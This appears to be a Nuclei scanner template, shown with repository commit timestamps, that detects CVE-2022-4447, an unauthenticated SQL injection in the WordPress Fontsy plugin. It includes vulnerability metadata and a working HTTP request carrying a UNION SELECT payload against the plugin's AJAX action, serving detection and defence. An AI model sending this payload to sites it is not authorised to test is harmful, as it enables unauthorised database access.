nuclei-templates/http/cves/2022/CVE-2022-4447.yaml

51 lines
2.1 KiB
YAML
Raw Normal View History

2023-01-14 05:54:28 +00:00
id: CVE-2022-4447
info:
name: WordPress Fontsy <=1.8.6 - SQL Injection
2023-01-14 05:54:28 +00:00
author: theamanrawat
severity: critical
description: |
WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
2023-09-06 11:59:08 +00:00
remediation: |
Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
2023-01-14 05:54:28 +00:00
reference:
- https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
- https://wordpress.org/plugins/fontsy/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4447
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-01-14 05:54:28 +00:00
cve-id: CVE-2022-4447
cwe-id: CWE-89
epss-score: 0.03134
epss-percentile: 0.9009
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:wordpress:*:*
2023-01-14 05:54:28 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: fontsy_project
product: fontsy
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wordpress,wp,wpscan,wp-plugin,sqli,fontsy,unauth,fontsy_project
2023-01-14 05:54:28 +00:00
variables:
num: "999999999"
http:
2023-01-14 05:54:28 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "{{md5(num)}}")'
2023-02-10 08:36:54 +00:00
condition: and
# digest: 4b0a00483046022100d97fe9d2af29c15dc73b8a19c1f69016ed9cf31e60a5767759fe6c56ba2601a2022100d80cb2be444aeac965e4c0abdc2f71d2d232416217054298f34b26cd50c7c429:922c64590222798bb761d5b6d8e72950